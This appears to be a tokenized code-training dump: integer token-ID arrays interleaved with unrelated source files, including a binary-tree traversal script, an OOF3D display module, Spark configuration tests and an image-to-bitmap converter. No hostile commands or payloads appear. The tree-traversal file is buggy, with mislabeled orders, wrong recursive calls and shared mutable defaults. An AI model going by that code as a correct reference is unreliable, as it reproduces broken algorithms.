26282,
13,
1678,
1723,
13,
1678,
2009,
29889,
7924,
1839,
3403,
449,
3089,
1367,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
4230,
29918,
3827,
29918,
333,
580,
13,
1678,
736,
9056,
5103,
24735,
29898,
2271,
29897,
13,
13,
13,
29992,
484,
369,
29918,
8173,
13,
1753,
3514,
29880,
29918,
2536,
29879,
29898,
3827,
1125,
13,
1678,
9995,
13554,
263,
4522,
449,
5103,
515,
278,
5163,
29925,
1213,
15945,
13,
1678,
565,
2009,
29889,
5696,
2804,
525,
7194,
2396,
13,
4706,
736,
9056,
5103,
877,
4062,
451,
6068,
29889,
742,
4660,
29922,
29946,
29900,
29945,
29897,
13,
1678,
12428,
353,
19012,
29918,
14095,
29918,
3827,
29898,
3827,
29897,
13,
1678,
3514,
29880,
29918,
5150,
353,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
6444,
29898,
7971,
29892,
2030,
29918,
11027,
29922,
11027,
29889,
12413,
14480,
1177,
29918,
8132,
1988,
29918,
10490,
29911,
4214,
29903,
29897,
13,
1678,
2009,
29918,
333,
353,
2009,
29889,
7924,
29889,
657,
877,
3403,
449,
3089,
1367,
742,
6213,
29897,
13,
1678,
1018,
29901,
13,
4706,
3142,
353,
3514,
29880,
29918,
5150,
29889,
5014,
29918,
29879,
417,
29898,
3827,
29918,
333,
29922,
3827,
29918,
333,
29892,
5217,
29918,
7924,
29918,
10702,
29922,
2892,
29901,
2009,
29889,
7924,
29889,
23126,
3101,
13,
4706,
4436,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
12523,
580,
13,
4706,
565,
7431,
29898,
12523,
29897,
1275,
29871,
29900,
29901,
13,
9651,
4817,
29889,
1188,
449,
29898,
3827,
29897,
13,
9651,
6684,
29918,
517,
353,
3142,
470,
6055,
29889,
8132,
1988,
29918,
14480,
12015,
29918,
1525,
4571,
26282,
13,
9651,
736,
9056,
5103,
24735,
29898,
17886,
29918,
517,
29897,
13,
4706,
1683,
29901,
13,
9651,
17927,
29889,
11739,
29898,
29879,
8807,
29918,
5150,
29889,
657,
29918,
4230,
29918,
2704,
29918,
23147,
3101,
13,
9651,
736,
9056,
5103,
703,
13919,
2009,
613,
4660,
29922,
29946,
29900,
29900,
29897,
13,
1678,
5174,
23862,
2772,
401,
2392,
29901,
13,
4706,
396,
379,
932,
575,
746,
4856,
4473,
267,
411,
278,
2933,
297,
278,
3988,
29889,
29871,
1939,
817,
304,
1480,
385,
3682,
29889,
13,
4706,
736,
9056,
5103,
703,
13919,
2009,
448,
20065,
304,
21822,
2933,
613,
4660,
29922,
29946,
29900,
29900,
29897,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
17927,
29889,
11739,
29898,
29872,
29897,
13,
4706,
736,
9056,
5103,
703,
13919,
2009,
613,
4660,
29922,
29946,
29900,
29900,
29897,
13,
13,
13,
29992,
484,
369,
29918,
8173,
13,
29992,
2395,
9600,
29918,
735,
3456,
13,
1753,
3514,
29880,
29918,
16815,
29898,
3827,
1125,
13,
1678,
9995,
13554,
385,
27241,
5103,
515,
278,
5163,
29925,
1213,
15945,
13,
1678,
565,
2009,
29889,
5696,
2804,
525,
5438,
2396,
13,
4706,
736,
9056,
5103,
877,
4062,
451,
6068,
29889,
742,
4660,
29922,
29946,
29900,
29945,
29897,
13,
1678,
1018,
29901,
13,
4706,
12428,
353,
19012,
29918,
14095,
29918,
3827,
29898,
3827,
29897,
13,
4706,
3514,
29880,
29918,
5150,
353,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
6444,
29898,
7971,
29892,
2030,
29918,
11027,
29922,
11027,
29889,
12413,
14480,
1177,
29918,
8132,
1988,
29918,
10490,
29911,
4214,
29903,
29897,
13,
4706,
2009,
29918,
333,
353,
2009,
29889,
7924,
29889,
657,
877,
6444,
29940,
3089,
1367,
742,
6213,
29897,
13,
4706,
3514,
29880,
29918,
5150,
29889,
5014,
29918,
5327,
29898,
3827,
29918,
333,
29922,
3827,
29918,
333,
29897,
13,
13,
4706,
4436,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
12523,
580,
13,
13,
4706,
565,
451,
4436,
29901,
13,
9651,
1404,
353,
4817,
29889,
27218,
403,
29898,
7924,
29918,
1272,
29922,
29879,
8807,
29918,
5150,
29889,
657,
29918,
15697,
3101,
13,
9651,
565,
1404,
338,
6213,
29901,
13,
18884,
565,
6055,
29889,
8132,
1988,
29918,
6632,
29918,
11889,
29918,
1525,
4571,
26282,
29901,
13,
462,
1678,
736,
9056,
5103,
24735,
29898,
11027,
29889,
8132,
1988,
29918,
6632,
29918,
11889,
29918,
1525,
4571,
26282,
29897,
13,
18884,
12020,
20894,
2333,
29315,
1000,
580,
13,
9651,
4817,
29889,
7507,
29898,
3827,
29892,
1404,
29897,
13,
9651,
396,
910,
848,
338,
1304,
2645,
16740,
4522,
4451,
13,
9651,
2009,
29889,
7924,
1839,
29879,
8807,
1170,
1204,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
978,
333,
580,
13,
9651,
2009,
29889,
7924,
1839,
29879,
8807,
1170,
1204,
5809,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
978,
333,
29918,
4830,
580,
13,
9651,
2009,
29889,
7924,
1839,
29879,
8807,
1170,
1204,
1170,
24399,
3709,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
978,
333,
29918,
29876,
29939,
580,
13,
9651,
2009,
29889,
7924,
1839,
29879,
8807,
1170,
1204,
5550,
1170,
24399,
3709,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
978,
333,
29918,
1028,
29876,
29939,
580,
13,
9651,
2009,
29889,
7924,
1839,
29879,
8807,
7317,
3220,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
7924,
29918,
2248,
580,
13,
9651,
565,
525,
9662,
388,
2792,
29915,
297,
12428,
1839,
2490,
29918,
1272,
2033,
320,
13,
462,
1678,
322,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
12177,
29889,
657,
29918,
1311,
29918,
2271,
29898,
7971,
29897,
2804,
12428,
1839,
2490,
29918,
1272,
16215,
9662,
388,
2792,
2033,
29901,
13,
18884,
3142,
353,
3514,
29880,
29918,
5150,
29889,
17886,
29918,
517,
29898,
7971,
1839,
2490,
29918,
1272,
16215,
9662,
388,
2792,
11287,
13,
18884,
736,
9056,
5103,
24735,
29898,
2271,
29897,
13,
9651,
1683,
29901,
13,
18884,
736,
9056,
5103,
24735,
29898,
11027,
29889,
8132,
1988,
29918,
14480,
1177,
29918,
1525,
4571,
26282,
29897,
13,
4706,
17927,
29889,
11739,
29898,
29879,
8807,
29918,
5150,
29889,
657,
29918,
4230,
29918,
2704,
29918,
23147,
3101,
13,
4706,
736,
9056,
5103,
29898,
3051,
543,
13919,
13291,
613,
4660,
29922,
29946,
29900,
29900,
29897,
13,
1678,
5174,
20894,
2333,
29315,
1000,
29901,
13,
4706,
12020,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
17927,
29889,
11739,
29898,
29872,
29897,
13,
4706,
736,
9056,
5103,
29898,
3051,
543,
13919,
13291,
613,
4660,
29922,
29946,
29900,
29900,
29897,
13,
13,
13,
1753,
15562,
29898,
3827,
1125,
13,
1678,
9995,
10716,
278,
15562,
310,
445,
2669,
1213,
15945,
13,
1678,
15562,
29918,
8977,
353,
6055,
29889,
12413,
14480,
1177,
29918,
8132,
1988,
29918,
10490,
29911,
4214,
29903,
29889,
657,
29918,
1028,
29918,
19635,
580,
13,
1678,
4436,
353,
6055,
29889,
12413,
14480,
1177,
29918,
8132,
1988,
29918,
10490,
29911,
4214,
29903,
29889,
15480,
29918,
19635,
29898,
19635,
29918,
8977,
29897,
13,
13,
1678,
565,
7431,
29898,
12523,
29897,
1275,
29871,
29900,
29901,
13,
4706,
4613,
353,
9056,
5103,
29898,
3051,
29922,
19635,
29918,
8977,
29892,
2793,
29918,
1853,
2433,
726,
29914,
3134,
1495,
13,
1678,
1683,
29901,
13,
4706,
4613,
353,
9056,
5103,
6004,
2392,
29898,
3051,
29922,
742,
15300,
7122,
29898,
12523,
876,
13,
1678,
736,
4613,
13,
2
] |
Job-Interviews/Python/BinaryTrees/Problem2.py | JuanPabloMontoya271/ITC | 1 | 15262 | class Tree:
def __init__(self, val,left = None, right = None):
self.val = val
self.left = left
self.right = right
root = Tree(4, left = Tree(3), right=Tree(5, left= Tree(4)))
#InOrderTraversal
def InOrderTraversal(root, res = []):
if root is None:
return res
InOrderTraversal(root.left, res)
InOrderTraversal(root.right, res)
res.append(root.val)
return res
print("In order:", InOrderTraversal(root))
#PreOrderTraversal
def PreOrderTraversal(root, res = []):
if root is None:
return res
res.append(root.val)
InOrderTraversal(root.left, res)
InOrderTraversal(root.right, res)
return res
print("Pre order:", PreOrderTraversal(root))
#PostOrderTraversal
def PostOrderTraversal(root, res = []):
if root is None:
return res
InOrderTraversal(root.left, res)
res.append(root.val)
InOrderTraversal(root.right, res)
return res
print("Post order:", PostOrderTraversal(root))
def LevelOrderTraversal(root, res =[ ]):
if root is None:
return res
queue = []
queue.append(root)
while len(queue)>0:
res.append(queue[0].val)
node = queue.pop(0)
if node.left is not None:
queue.append(node.left)
if node.right is not None:
queue.append(node.right)
return res
print("Level order Traversal: ", LevelOrderTraversal(root)) | [
1,
770,
15472,
29901,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
659,
29892,
1563,
353,
6213,
29892,
1492,
353,
6213,
1125,
30004,
13,
4706,
1583,
29889,
791,
353,
659,
30004,
13,
4706,
1583,
29889,
1563,
353,
2175,
30004,
13,
4706,
1583,
29889,
1266,
353,
1492,
30004,
13,
4632,
353,
15472,
29898,
29946,
29892,
2175,
353,
15472,
29898,
29941,
511,
1492,
29922,
9643,
29898,
29945,
29892,
2175,
29922,
15472,
29898,
29946,
4961,
30004,
13,
30004,
13,
29937,
797,
7514,
5323,
874,
284,
30004,
13,
1753,
512,
7514,
5323,
874,
284,
29898,
4632,
29892,
620,
353,
5159,
1125,
30004,
13,
1678,
565,
3876,
338,
6213,
29901,
30004,
13,
4706,
736,
620,
30004,
13,
1678,
6756,
13,
1678,
512,
7514,
5323,
874,
284,
29898,
4632,
29889,
1563,
29892,
620,
8443,
13,
1678,
512,
7514,
5323,
874,
284,
29898,
4632,
29889,
1266,
29892,
620,
8443,
13,
1678,
620,
29889,
4397,
29898,
4632,
29889,
791,
8443,
13,
1678,
736,
620,
30004,
13,
2158,
703,
797,
1797,
29901,
613,
512,
7514,
5323,
874,
284,
29898,
4632,
876,
30004,
13,
29937,
6572,
7514,
5323,
874,
284,
30004,
13,
1753,
4721,
7514,
5323,
874,
284,
29898,
4632,
29892,
620,
353,
5159,
1125,
30004,
13,
1678,
565,
3876,
338,
6213,
29901,
30004,
13,
4706,
736,
620,
30004,
13,
1678,
620,
29889,
4397,
29898,
4632,
29889,
791,
8443,
13,
1678,
512,
7514,
5323,
874,
284,
29898,
4632,
29889,
1563,
29892,
620,
8443,
13,
1678,
512,
7514,
5323,
874,
284,
29898,
4632,
29889,
1266,
29892,
620,
8443,
13,
1678,
6756,
13,
1678,
736,
620,
30004,
13,
2158,
703,
6572,
1797,
29901,
613,
4721,
7514,
5323,
874,
284,
29898,
4632,
876,
30004,
13,
29937,
6747,
7514,
5323,
874,
284,
30004,
13,
1753,
4918,
7514,
5323,
874,
284,
29898,
4632,
29892,
620,
353,
5159,
1125,
30004,
13,
1678,
565,
3876,
338,
6213,
29901,
30004,
13,
4706,
736,
620,
30004,
13,
1678,
6756,
13,
1678,
512,
7514,
5323,
874,
284,
29898,
4632,
29889,
1563,
29892,
620,
8443,
13,
1678,
620,
29889,
4397,
29898,
4632,
29889,
791,
8443,
13,
1678,
512,
7514,
5323,
874,
284,
29898,
4632,
29889,
1266,
29892,
620,
8443,
13,
1678,
6756,
13,
1678,
736,
620,
30004,
13,
2158,
703,
6747,
1797,
29901,
613,
4918,
7514,
5323,
874,
284,
29898,
4632,
876,
30004,
13,
1753,
21597,
7514,
5323,
874,
284,
29898,
4632,
29892,
620,
353,
29961,
4514,
1125,
30004,
13,
1678,
565,
3876,
338,
6213,
29901,
30004,
13,
4706,
736,
620,
6756,
13,
1678,
9521,
353,
5159,
30004,
13,
1678,
9521,
29889,
4397,
29898,
4632,
8443,
13,
1678,
1550,
7431,
29898,
9990,
15410,
29900,
29901,
30004,
13,
4706,
620,
29889,
4397,
29898,
9990,
29961,
29900,
1822,
791,
8443,
13,
4706,
2943,
353,
9521,
29889,
7323,
29898,
29900,
8443,
13,
4706,
565,
2943,
29889,
1563,
338,
451,
6213,
29901,
30004,
13,
9651,
9521,
29889,
4397,
29898,
3177,
29889,
1563,
8443,
13,
4706,
565,
2943,
29889,
1266,
338,
451,
6213,
29901,
30004,
13,
9651,
9521,
29889,
4397,
29898,
3177,
29889,
1266,
8443,
13,
1678,
736,
620,
30004,
13,
2158,
703,
10108,
1797,
3201,
874,
284,
29901,
9162,
21597,
7514,
5323,
874,
284,
29898,
4632,
876,
2
] |
SRC/orientationmap/orientmapdisplay.py | usnistgov/OOF3D | 31 | 192032 | # -*- python -*-
# This software was produced by NIST, an agency of the U.S. government,
# and by statute is not subject to copyright in the United States.
# Recipients of this software assume all responsibilities associated
# with its operation, modification and maintenance. However, to
# facilitate maintenance we ask that before distributing modified
# versions of this software, you first contact the authors at
# <EMAIL>.
from ooflib.SWIG.common import config
from ooflib.SWIG.common import coord
from ooflib.SWIG.engine import angle2color
from ooflib.SWIG.engine import orientationimage
from ooflib.SWIG.orientationmap import orientmapdata
from ooflib.common import color
from ooflib.common import debug
from ooflib.common import primitives
from ooflib.common import registeredclass
from ooflib.common.IO import display
from ooflib.common.IO import parameter
from ooflib.common.IO import xmlmenudump
from ooflib.engine.IO import microstructuredisplay
class OrientationMapDisplay(display.DisplayMethod):
def __init__(self, colorscheme):
self.colorscheme = colorscheme
display.DisplayMethod.__init__(self)
def draw(self, gfxwindow, device):
msobj = self.who().getObject(gfxwindow)
data = orientmapdata.getOrientationMap(msobj)
if data is not None:
orientimage = orientmapdata.OrientMapImage(data, self.colorscheme)
if config.dimension() == 2:
device.draw_image(orientimage, coord.Coord(0,0), msobj.size())
elif config.dimension() == 3:
device.draw_image(orientimage, coord.Coord(0,0,0), msobj.size())
# def getTimeStamp(self, gfxwindow):
# msobj = self.who().getObject(gfxwindow)
# return max(display.DisplayMethod.getTimeStamp(self, gfxwindow),
# orientmapdata.getOrientationMapTimestamp(msobj))
registeredclass.Registration(
'Orientation Map',
display.DisplayMethod,
OrientationMapDisplay,
ordering=2,
params=[parameter.RegisteredParameter('colorscheme',
angle2color.Angle2Color,
tip='Method for converting angles to colors.')
],
layerordering=display.Planar(0.5),
whoclasses = ('Microstructure',),
tip="Display a Microstructure's Orientation Map, whether or not it's used by Material Properties.",
discussion=xmlmenudump.loadFile('DISCUSSIONS/orientationmap/reg/orientationmapdisplay.xml'))
| [
1,
396,
448,
29930,
29899,
3017,
448,
29930,
29899,
13,
13,
29937,
910,
7047,
471,
7371,
491,
405,
9047,
29892,
385,
946,
3819,
310,
278,
501,
29889,
29903,
29889,
5874,
29892,
13,
29937,
322,
491,
1002,
1082,
338,
451,
4967,
304,
3509,
1266,
297,
278,
3303,
3900,
29889,
13,
29937,
830,
7334,
10070,
310,
445,
7047,
5251,
599,
5544,
747,
9770,
6942,
13,
29937,
411,
967,
5858,
29892,
21733,
322,
25413,
29889,
2398,
29892,
304,
13,
29937,
16089,
10388,
25413,
591,
2244,
393,
1434,
22965,
17068,
9120,
13,
29937,
6910,
310,
445,
7047,
29892,
366,
937,
6958,
278,
15717,
472,
13,
29937,
529,
26862,
6227,
15513,
29871,
13,
13,
3166,
288,
974,
1982,
29889,
23066,
6259,
29889,
9435,
1053,
2295,
13,
3166,
288,
974,
1982,
29889,
23066,
6259,
29889,
9435,
1053,
29311,
13,
3166,
288,
974,
1982,
29889,
23066,
6259,
29889,
10599,
1053,
10696,
29906,
2780,
13,
3166,
288,
974,
1982,
29889,
23066,
6259,
29889,
10599,
1053,
19843,
3027,
13,
3166,
288,
974,
1982,
29889,
23066,
6259,
29889,
20659,
1958,
1053,
7769,
1958,
1272,
13,
3166,
288,
974,
1982,
29889,
9435,
1053,
2927,
13,
3166,
288,
974,
1982,
29889,
9435,
1053,
4744,
13,
3166,
288,
974,
1982,
29889,
9435,
1053,
28147,
3145,
13,
3166,
288,
974,
1982,
29889,
9435,
1053,
15443,
1990,
13,
3166,
288,
974,
1982,
29889,
9435,
29889,
5971,
1053,
2479,
13,
3166,
288,
974,
1982,
29889,
9435,
29889,
5971,
1053,
3443,
13,
3166,
288,
974,
1982,
29889,
9435,
29889,
5971,
1053,
4903,
1527,
566,
3427,
13,
3166,
288,
974,
1982,
29889,
10599,
29889,
5971,
1053,
9200,
23905,
4990,
13,
13,
1990,
11678,
9233,
3388,
9323,
29898,
4990,
29889,
9323,
4062,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2927,
816,
2004,
1125,
13,
4706,
1583,
29889,
2780,
816,
2004,
353,
2927,
816,
2004,
13,
4706,
2479,
29889,
9323,
4062,
17255,
2344,
12035,
1311,
29897,
13,
1678,
822,
4216,
29898,
1311,
29892,
330,
11093,
7165,
29892,
4742,
1125,
13,
4706,
286,
15975,
29926,
353,
1583,
29889,
15970,
2141,
657,
2061,
29898,
29887,
11093,
7165,
29897,
13,
4706,
848,
353,
7769,
1958,
1272,
29889,
657,
25231,
3388,
29898,
29885,
15975,
29926,
29897,
13,
4706,
565,
848,
338,
451,
6213,
29901,
13,
9651,
7769,
3027,
353,
7769,
1958,
1272,
29889,
15988,
296,
3388,
2940,
29898,
1272,
29892,
1583,
29889,
2780,
816,
2004,
29897,
13,
9651,
565,
2295,
29889,
6229,
2673,
580,
1275,
29871,
29906,
29901,
13,
18884,
4742,
29889,
4012,
29918,
3027,
29898,
12236,
3027,
29892,
29311,
29889,
7967,
536,
29898,
29900,
29892,
29900,
511,
286,
15975,
29926,
29889,
2311,
3101,
13,
9651,
25342,
2295,
29889,
6229,
2673,
580,
1275,
29871,
29941,
29901,
13,
18884,
4742,
29889,
4012,
29918,
3027,
29898,
12236,
3027,
29892,
29311,
29889,
7967,
536,
29898,
29900,
29892,
29900,
29892,
29900,
511,
286,
15975,
29926,
29889,
2311,
3101,
13,
1678,
396,
822,
679,
2481,
855,
1160,
29898,
1311,
29892,
330,
11093,
7165,
1125,
13,
1678,
396,
268,
286,
15975,
29926,
353,
1583,
29889,
15970,
2141,
657,
2061,
29898,
29887,
11093,
7165,
29897,
13,
1678,
396,
268,
736,
4236,
29898,
4990,
29889,
9323,
4062,
29889,
657,
2481,
855,
1160,
29898,
1311,
29892,
330,
11093,
7165,
511,
13,
1678,
396,
18884,
7769,
1958,
1272,
29889,
657,
25231,
3388,
27939,
29898,
29885,
15975,
29926,
876,
13,
13,
9573,
287,
1990,
29889,
4597,
8306,
29898,
13,
1678,
525,
25231,
7315,
742,
13,
1678,
2479,
29889,
9323,
4062,
29892,
13,
1678,
11678,
9233,
3388,
9323,
29892,
13,
1678,
20520,
29922,
29906,
29892,
13,
1678,
8636,
11759,
15501,
29889,
15213,
287,
9329,
877,
2780,
816,
2004,
742,
13,
462,
462,
3986,
10696,
29906,
2780,
29889,
19582,
29906,
3306,
29892,
13,
462,
18884,
6872,
2433,
4062,
363,
17415,
23619,
304,
11955,
29889,
1495,
13,
9651,
21251,
13,
1678,
7546,
2098,
292,
29922,
4990,
29889,
20334,
279,
29898,
29900,
29889,
29945,
511,
13,
1678,
377,
542,
605,
267,
353,
6702,
29924,
2357,
23905,
742,
511,
13,
1678,
6872,
543,
9323,
263,
20140,
23905,
29915,
29879,
11678,
9233,
7315,
29892,
3692,
470,
451,
372,
29915,
29879,
1304,
491,
17582,
21582,
19602,
13,
1678,
10679,
29922,
3134,
1527,
566,
3427,
29889,
1359,
2283,
877,
23711,
29907,
29965,
13507,
29903,
29914,
20659,
1958,
29914,
1727,
29914,
20659,
1958,
4990,
29889,
3134,
8785,
13,
2
] |
tests/spark/models/test_spark_configuration.py | Geims83/aztk | 161 | 1608207 | <filename>tests/spark/models/test_spark_configuration.py
from aztk.spark.models import SparkConfiguration
from aztk.error import InvalidModelError
def test_spark_configuration_defaults():
spark_configuration = SparkConfiguration()
spark_configuration.validate()
assert spark_configuration.spark_defaults_conf is None
assert spark_configuration.spark_defaults_conf is None
assert spark_configuration.spark_defaults_conf is None
def test_spark_configuration_fields():
spark_configuration = SparkConfiguration(
spark_defaults_conf="spark-defaults.conf",
spark_env_sh="spark-env.sh",
core_site_xml="core-site.xml",
)
spark_configuration.validate()
assert spark_configuration.spark_defaults_conf == "spark-defaults.conf"
assert spark_configuration.spark_env_sh == "spark-env.sh"
assert spark_configuration.core_site_xml == "core-site.xml"
| [
1,
529,
9507,
29958,
21150,
29914,
12597,
29914,
9794,
29914,
1688,
29918,
12597,
29918,
13305,
29889,
2272,
13,
3166,
263,
2065,
29895,
29889,
12597,
29889,
9794,
1053,
20814,
8614,
13,
3166,
263,
2065,
29895,
29889,
2704,
1053,
21403,
3195,
2392,
13,
13,
13,
1753,
1243,
29918,
12597,
29918,
13305,
29918,
4381,
29879,
7295,
13,
1678,
16267,
29918,
13305,
353,
20814,
8614,
580,
13,
1678,
16267,
29918,
13305,
29889,
15480,
580,
13,
13,
1678,
4974,
16267,
29918,
13305,
29889,
12597,
29918,
4381,
29879,
29918,
5527,
338,
6213,
13,
1678,
4974,
16267,
29918,
13305,
29889,
12597,
29918,
4381,
29879,
29918,
5527,
338,
6213,
13,
1678,
4974,
16267,
29918,
13305,
29889,
12597,
29918,
4381,
29879,
29918,
5527,
338,
6213,
13,
13,
13,
1753,
1243,
29918,
12597,
29918,
13305,
29918,
9621,
7295,
13,
1678,
16267,
29918,
13305,
353,
20814,
8614,
29898,
13,
4706,
16267,
29918,
4381,
29879,
29918,
5527,
543,
12597,
29899,
4381,
29879,
29889,
5527,
613,
13,
4706,
16267,
29918,
6272,
29918,
845,
543,
12597,
29899,
6272,
29889,
845,
613,
13,
4706,
7136,
29918,
2746,
29918,
3134,
543,
3221,
29899,
2746,
29889,
3134,
613,
13,
1678,
1723,
13,
1678,
16267,
29918,
13305,
29889,
15480,
580,
13,
13,
1678,
4974,
16267,
29918,
13305,
29889,
12597,
29918,
4381,
29879,
29918,
5527,
1275,
376,
12597,
29899,
4381,
29879,
29889,
5527,
29908,
13,
1678,
4974,
16267,
29918,
13305,
29889,
12597,
29918,
6272,
29918,
845,
1275,
376,
12597,
29899,
6272,
29889,
845,
29908,
13,
1678,
4974,
16267,
29918,
13305,
29889,
3221,
29918,
2746,
29918,
3134,
1275,
376,
3221,
29899,
2746,
29889,
3134,
29908,
13,
2
] |
image_process.py | SatoshiRobatoFujimoto/miaomiaoji-tool | 1 | 77793 | <reponame>SatoshiRobatoFujimoto/miaomiaoji-tool<gh_stars>1-10
#!/usr/bin/python
# -*-coding:utf-8-*-
__author__ = "ihciah"
import cv2
class ImageConverter:
@staticmethod
def pre_process(im, interpolation=cv2.INTER_AREA):
fixed_width = 384
gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) if len(im.shape) == 3 and im.shape[2] != 1 else im
multi = float(fixed_width) / gray.shape[1]
dim = (fixed_width, int(gray.shape[0] * multi))
new_im = cv2.resize(gray, dim, interpolation=interpolation)
return new_im
@staticmethod
def frombits(bits):
chars = []
for b in range(int(len(bits) / 8)):
byte = bits[b*8:(b+1)*8]
chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))
return ''.join(chars)
@staticmethod
def im2bmp(im, interpolation=cv2.INTER_AREA):
im = ImageConverter.pre_process(im, interpolation)
retval, im_binary = cv2.threshold(im, 127, 255, cv2.THRESH_BINARY)
ret = ''
for h in range(im_binary.shape[0]):
pixels = [im_binary[h, w] for w in range(im_binary.shape[1])]
binary = list(map(lambda x: 1 if x == 0 else 0, pixels))
ret += ImageConverter.frombits(binary)
return ret
@staticmethod
def image2bmp(path, interpolation=cv2.INTER_AREA):
return ImageConverter.im2bmp(cv2.imread(path), interpolation)
class TextConverter:
@staticmethod
def text2bmp(text, height=70, pos=(10, 50), font=cv2.FONT_HERSHEY_SIMPLEX, size=2, color=0, thick=2):
import numpy as np
blank_image = np.zeros((height, 384), np.uint8)
blank_image.fill(255)
img = cv2.putText(blank_image, text, pos, font, size, color, thick)
return ImageConverter.im2bmp(img)
if __name__ == "__main__":
cv2.imshow("test", TextConverter.text2bmp("Coding by"))
cv2.waitKey(0)
| [
1,
529,
276,
1112,
420,
29958,
29903,
4507,
2918,
21860,
1219,
29943,
8016,
326,
3747,
29914,
29885,
423,
290,
29653,
2397,
29899,
10154,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
4691,
13,
29937,
448,
29930,
29899,
29883,
3689,
29901,
9420,
29899,
29947,
29899,
29930,
29899,
13,
1649,
8921,
1649,
353,
376,
4861,
1512,
29882,
29908,
13,
13,
5215,
13850,
29906,
13,
13,
1990,
7084,
18545,
29901,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
758,
29918,
5014,
29898,
326,
29892,
29694,
29922,
11023,
29906,
29889,
23845,
29918,
29909,
1525,
29909,
1125,
13,
4706,
4343,
29918,
2103,
353,
29871,
29941,
29947,
29946,
13,
4706,
16749,
353,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
326,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
29954,
22800,
29897,
565,
7431,
29898,
326,
29889,
12181,
29897,
1275,
29871,
29941,
322,
527,
29889,
12181,
29961,
29906,
29962,
2804,
29871,
29896,
1683,
527,
13,
4706,
2473,
353,
5785,
29898,
20227,
29918,
2103,
29897,
847,
16749,
29889,
12181,
29961,
29896,
29962,
13,
4706,
3964,
353,
313,
20227,
29918,
2103,
29892,
938,
29898,
21012,
29889,
12181,
29961,
29900,
29962,
334,
2473,
876,
13,
4706,
716,
29918,
326,
353,
13850,
29906,
29889,
21476,
29898,
21012,
29892,
3964,
29892,
29694,
29922,
1639,
3733,
362,
29897,
13,
4706,
736,
716,
29918,
326,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
515,
14836,
29898,
14836,
1125,
13,
4706,
22524,
353,
5159,
13,
4706,
363,
289,
297,
3464,
29898,
524,
29898,
2435,
29898,
14836,
29897,
847,
29871,
29947,
22164,
13,
9651,
7023,
353,
9978,
29961,
29890,
29930,
29947,
5919,
29890,
29974,
29896,
11877,
29947,
29962,
13,
9651,
22524,
29889,
4397,
29898,
22495,
29898,
524,
877,
4286,
7122,
4197,
710,
29898,
2966,
29897,
363,
2586,
297,
7023,
11724,
29871,
29906,
4961,
13,
4706,
736,
525,
4286,
7122,
29898,
305,
1503,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
527,
29906,
29890,
1526,
29898,
326,
29892,
29694,
29922,
11023,
29906,
29889,
23845,
29918,
29909,
1525,
29909,
1125,
13,
4706,
527,
353,
7084,
18545,
29889,
1457,
29918,
5014,
29898,
326,
29892,
29694,
29897,
13,
4706,
3240,
791,
29892,
527,
29918,
19541,
353,
13850,
29906,
29889,
386,
12268,
29898,
326,
29892,
29871,
29896,
29906,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
13850,
29906,
29889,
4690,
1525,
7068,
29918,
29933,
1177,
19926,
29897,
13,
4706,
3240,
353,
6629,
13,
4706,
363,
298,
297,
3464,
29898,
326,
29918,
19541,
29889,
12181,
29961,
29900,
29962,
1125,
13,
9651,
17036,
353,
518,
326,
29918,
19541,
29961,
29882,
29892,
281,
29962,
363,
281,
297,
3464,
29898,
326,
29918,
19541,
29889,
12181,
29961,
29896,
2314,
29962,
13,
9651,
7581,
353,
1051,
29898,
1958,
29898,
2892,
921,
29901,
29871,
29896,
565,
921,
1275,
29871,
29900,
1683,
29871,
29900,
29892,
17036,
876,
13,
9651,
3240,
4619,
7084,
18545,
29889,
3166,
14836,
29898,
19541,
29897,
13,
4706,
736,
3240,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1967,
29906,
29890,
1526,
29898,
2084,
29892,
29694,
29922,
11023,
29906,
29889,
23845,
29918,
29909,
1525,
29909,
1125,
13,
4706,
736,
7084,
18545,
29889,
326,
29906,
29890,
1526,
29898,
11023,
29906,
29889,
326,
949,
29898,
2084,
511,
29694,
29897,
13,
13,
1990,
3992,
18545,
29901,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1426,
29906,
29890,
1526,
29898,
726,
29892,
3171,
29922,
29955,
29900,
29892,
926,
7607,
29896,
29900,
29892,
29871,
29945,
29900,
511,
4079,
29922,
11023,
29906,
29889,
29943,
1164,
29911,
29918,
4448,
7068,
13282,
29918,
5425,
3580,
1307,
29990,
29892,
2159,
29922,
29906,
29892,
2927,
29922,
29900,
29892,
12003,
29922,
29906,
1125,
13,
4706,
1053,
12655,
408,
7442,
13,
4706,
9654,
29918,
3027,
353,
7442,
29889,
3298,
359,
3552,
3545,
29892,
29871,
29941,
29947,
29946,
511,
7442,
29889,
13470,
29947,
29897,
13,
4706,
9654,
29918,
3027,
29889,
5589,
29898,
29906,
29945,
29945,
29897,
13,
4706,
10153,
353,
13850,
29906,
29889,
649,
1626,
29898,
19465,
29918,
3027,
29892,
1426,
29892,
926,
29892,
4079,
29892,
2159,
29892,
2927,
29892,
12003,
29897,
13,
4706,
736,
7084,
18545,
29889,
326,
29906,
29890,
1526,
29898,
2492,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
13850,
